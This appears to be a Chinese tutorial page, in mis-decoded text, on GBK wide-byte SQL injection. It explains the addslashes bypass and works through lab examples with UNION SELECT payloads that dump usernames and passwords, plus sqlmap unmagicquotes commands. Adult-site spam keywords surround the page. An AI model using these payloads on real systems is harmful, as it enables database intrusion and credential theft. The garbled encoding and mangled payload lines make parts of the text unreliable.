久久福利_99r_国产日韩在线视频_直接看av的网站_中文欧美日韩_久久一

您的位置:首頁技術(shù)文章
文章詳情頁

SQL注入寬字節(jié)注入由淺到深學(xué)習(xí)

瀏覽:97日期:2022-06-06 15:00:49
目錄
  • 前言
  • 基礎(chǔ)知識
    • 寬字節(jié)
    • 寬字節(jié)注入
  • 例子
    • 例題一
    • 例題二
  • SQLMAP應(yīng)用
    • 結(jié)語

      前言

      突然想起來之前講SQL注入時忘記講一下這個寬字節(jié)注入了,因?yàn)檫@個知識點(diǎn)還是挺重要的,所以本文就帶大家了解一下寬字節(jié)注入的原理以及應(yīng)用方法,下面由我來給大家詳細(xì)講解一下。

      基礎(chǔ)知識

      寬字節(jié)

      在了解寬字節(jié)注入之前,我們要了解一下什么是寬字節(jié),相對于單字節(jié),我們引入一個字符數(shù)大小為兩個字節(jié)的為寬字節(jié),比如GBK編碼,我們漢字通常使用的就是GBK編碼,也就是說一次性會讀取兩個字節(jié)。

      寬字節(jié)注入

      產(chǎn)生寬字節(jié)注入的原因涉及了編碼轉(zhuǎn)換的問題,當(dāng)我們的mysql使用GBK編碼后,同時兩個字符的前一個字符ASCII碼大于128時,會將兩個字符認(rèn)成一個漢字,那么大家像一個,如果存在過濾我們輸入的函數(shù)(addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc)會將我們的輸入進(jìn)行轉(zhuǎn)義,那么我們是不是可以嘗試注入,我們舉一個簡單的例子:

      addslashes()函數(shù)

      該函數(shù)的作用是返回在預(yù)定義字符之前添加反斜杠的字符串。于是我們可以分析一下我們轉(zhuǎn)入的參數(shù)流程:

      假設(shè)我們傳入一個參數(shù)id為1'查看數(shù)據(jù)庫是否錯報:

      index.php?id=1"

      那么經(jīng)過函數(shù)過濾后我們的輸入拼接到sql語句就會變成:

      select * from user where id = "1""

      可以看到單引號被轉(zhuǎn)義了,加入我們像下面一樣傳參:

      可以看到我們傳入的參數(shù)與\合并成了一個漢字,具體可以參考下圖:

      可以看到我們的單引號沒有被轉(zhuǎn)義,從而達(dá)到了閉合單引號的效果,這就是一個簡單的寬字節(jié)注入。但是需要有個前提,也就是MYSQL設(shè)置了GBK編碼:

      SET character_set_client =gbk

      例子

      例題一

      進(jìn)入頁面發(fā)現(xiàn)url可以有個變量id可以傳入?yún)?shù),于是我們傳參測試是否報錯

      ?id=1"

      發(fā)現(xiàn)單引號被轉(zhuǎn)義了,數(shù)據(jù)庫沒有進(jìn)行錯報,具體可以看下圖:

      結(jié)合我們上面學(xué)習(xí)到的寬字節(jié)注入的知識,懷疑是addslashes函數(shù)轉(zhuǎn)義了我們的單引號,于是我們嘗試進(jìn)行繞過,我們先查詢列數(shù):

      ?id=1%aa%27 order by 3--+

      發(fā)現(xiàn)列數(shù)為三后,判斷回顯位置:

      ?id=-1%aa%27union select 1,2,database()--+

      成功爆出了數(shù)據(jù)庫的名字,于是后面操作就跟平常的SQL注入一樣了:

      ?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

      例題二

      打開網(wǎng)頁有一個查詢框讓我們進(jìn)行查詢,我們嘗試加入單引號但發(fā)現(xiàn)沒有報錯,于是查看下源碼看看有沒有有用信息:

      gb2312正是漢字編碼字符集,于是我們嘗試寬字節(jié)注入:

      ?id=1%df%27%20union%20select%201,database()%23

      成功回顯了數(shù)據(jù)庫的名字,說明可行,于是我們繼續(xù)注入:

      ?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20--%20

      得到了我們想要查詢的信息。

      SQLMAP應(yīng)用

      SQLMAP作為一個強(qiáng)大的SQL注入自動化工具也是可以進(jìn)行寬字節(jié)注入測試的,下面我們來學(xué)習(xí)一下利用SQLMAP走一遍寬字節(jié)注入的流程:

      先跑數(shù)據(jù)庫名:

      sqlmap.py -u "http://sql/index.php?id=3" --tamper unmagicquotes --dbs

      其中tamper為利用SQLMAP中自帶的腳本,當(dāng)然我們也可以手動導(dǎo)入,而unmagicquotes為我們寬字節(jié)注入利用的腳本,下面查詢表名:

      index.php?id=3" --tamper unmagicquotes -D "xino" --tables

      爆出來表名后爆列名:

      index.php?id=3" --tamper unmagicquotes -D `xino` -T ctf --columns

      之后我們爆出數(shù)據(jù):

      id=3" --tamper unmagicquotes -D `xino` -T ctf -C flag

      SQLMAP中進(jìn)行寬字節(jié)注入還是比較簡單的,只需要注意我們利用到了sqlmap的寬字節(jié)注入腳本,其他的跟平時注入并沒有很大的差別。

      結(jié)語

      今天總結(jié)了一下寬字節(jié)注入的原理以及應(yīng)用方法,整的來看寬字節(jié)注入的利用環(huán)境就是當(dāng)我們的單引號被轉(zhuǎn)義了不能進(jìn)行注入時可以考慮利用寬字符的編碼解析特性來進(jìn)行單引號的逃逸,認(rèn)真學(xué)習(xí)一下還是比較容易理解的,更多關(guān)于SQL寬字節(jié)注入的資料請關(guān)注其它相關(guān)文章!

      標(biāo)簽: PHP
      相關(guān)文章:
      主站蜘蛛池模板: 亚洲福利| 亚州成人 | 一级黄色生活视频 | 久久久久久久99精品免费观看 | 男女羞羞视频免费观看 | 亚洲三级视频 | 久久久国产一区二区三区 | 欧美一级在线 | 亚洲精品高清视频 | 欧美一区2区三区4区公司二百 | 国产在线精品视频 | 一a毛片| 偷拍呻吟高潮91 | 久久久久久久影院 | av免费网站在线观看 | 北条麻妃99精品青青久久 | 国产精品久久久999 成人亚洲视频 | 一级毛片观看 | 日韩精品一区二区三区在线播放 | 午夜伦理影院 | 91福利网址 | 黄色免费一级 | 最新国产视频 | 亚洲国产精品va在线看黑人 | 久久国产亚洲精品 | 蜜桃视频精品 | 在线中文视频 | 成人免费一区二区三区视频软件 | 一级特黄aaa大片在线观看 | 亚洲男人天堂网 | 亚洲电影中文字幕 | 国产精品亚洲成人 | 热久久久| 亚洲一区欧美 | 亚洲精品久久久久久一区二区 | 91网站在线看 | 欧美精品理论片大全 | 一区二区日韩在线观看 | 欧美日本免费 | 国产黄色在线观看 | 国产精品视频不卡 |